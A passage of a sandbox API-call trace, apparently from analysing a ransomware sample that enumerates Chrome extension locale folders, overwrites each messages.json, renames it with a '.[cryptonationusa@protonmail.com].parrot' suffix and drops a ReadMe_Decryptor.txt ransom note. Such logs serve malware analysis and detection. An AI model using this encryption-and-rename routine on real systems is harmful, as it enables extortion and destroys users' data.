HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0069.198] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0518 | out: hHeap=0x5b0000) returned 1 [0069.198] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160688 | out: hHeap=0x5b0000) returned 1 [0069.198] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0198 | out: hHeap=0x5b0000) returned 1 [0069.200] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0069.200] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fc9870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb6b9a260, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb6b9a260, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.200] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86fc9870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fca810, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb6b4dfa0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x238, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0069.200] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0069.200] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0069.200] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fc9870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fc9870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fc9870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.200] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0069.200] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0069.200] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86fc9870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fca810, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xfd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0069.201] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x215, nNumberOfBytesToLockHigh=0x0) returned 1 [0069.201] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0069.201] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0069.202] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.202] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xfd, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xfd, lpOverlapped=0x0) returned 1 [0069.202] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.202] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x215, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0069.202] CloseHandle (hObject=0x28c) returned 1 [0069.203] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0069.210] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d03b0 | out: hHeap=0x5b0000) returned 1 [0069.210] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160688 | out: hHeap=0x5b0000) returned 1 [0069.210] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0070 | out: hHeap=0x5b0000) returned 1 [0069.212] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0069.212] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fc9870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb6bc03c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb6bc03c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.212] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86fc9870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fca810, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb6bc03c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x218, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0069.212] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0069.212] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0069.212] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fef9d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fef9d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.212] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0069.212] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0069.212] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ff1910, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x164, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0069.229] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x27c, nNumberOfBytesToLockHigh=0x0) returned 1 [0069.229] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0069.229] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0069.230] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.230] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x164, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x164, lpOverlapped=0x0) returned 1 [0069.230] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.230] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x27c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0069.230] CloseHandle (hObject=0x28c) returned 1 [0069.231] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0069.231] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9a20 | out: hHeap=0x5b0000) returned 1 [0069.231] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160688 | out: hHeap=0x5b0000) returned 1 [0069.231] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d01e8 | out: hHeap=0x5b0000) returned 1 [0069.233] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0069.233] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb6be6520, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb6be6520, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.233] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ff1910, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb6be6520, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x288, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0069.233] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0069.233] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0069.233] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fef9d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fef9d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.233] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0069.233] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0069.233] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ff1910, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x10e, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0069.259] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d150 [0069.260] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0069.261] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x226, nNumberOfBytesToLockHigh=0x0) returned 1 [0069.262] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0069.262] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0069.281] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.281] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x10e, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x10e, lpOverlapped=0x0) returned 1 [0069.281] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0069.281] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0069.281] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0069.281] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0069.281] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0069.281] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0069.281] GetLastError () returned 0x0 [0069.282] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.282] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0069.282] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0069.282] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0069.282] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0069.282] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0069.282] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0069.282] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0069.282] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0069.282] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0069.282] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0069.282] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0069.282] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0069.282] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0069.282] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0069.282] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0069.282] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d150 [0069.282] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0069.282] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0069.282] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0069.282] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0069.282] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0069.282] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0069.282] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0069.282] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240b88 [0069.283] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0069.283] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22405e8 [0069.283] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b88 | out: hHeap=0x5b0000) returned 1 [0069.283] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d03a0 [0069.283] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22405e8 | out: hHeap=0x5b0000) returned 1 [0069.283] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x228) returned 0x69f268 [0069.283] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d03a0 | out: hHeap=0x5b0000) returned 1 [0069.283] WriteFile (in: hFile=0x28c, lpBuffer=0x69f268*, nNumberOfBytesToWrite=0x228, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x69f268*, lpNumberOfBytesWritten=0x18da44*=0x228, lpOverlapped=0x0) returned 1 [0069.283] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69f268 | out: hHeap=0x5b0000) returned 1 [0069.283] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x226, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0069.283] CloseHandle (hObject=0x28c) returned 1 [0069.284] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5d03a0 [0069.284] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1de) returned 0x5d04e8 [0069.284] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d03a0 | out: hHeap=0x5b0000) returned 1 [0069.284] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0069.289] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d04e8 | out: hHeap=0x5b0000) returned 1 [0069.289] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160688 | out: hHeap=0x5b0000) returned 1 [0069.289] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0188 | out: hHeap=0x5b0000) returned 1 [0069.289] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5d9a20 [0069.289] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5d9b48 [0069.289] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0069.289] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0069.290] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28c [0069.290] GetFileType (hFile=0x28c) returned 0x1 [0069.290] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x68d248 [0069.301] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0069.301] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb6c7eaa0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb6c7eaa0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.301] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ff1910, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb6c7eaa0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 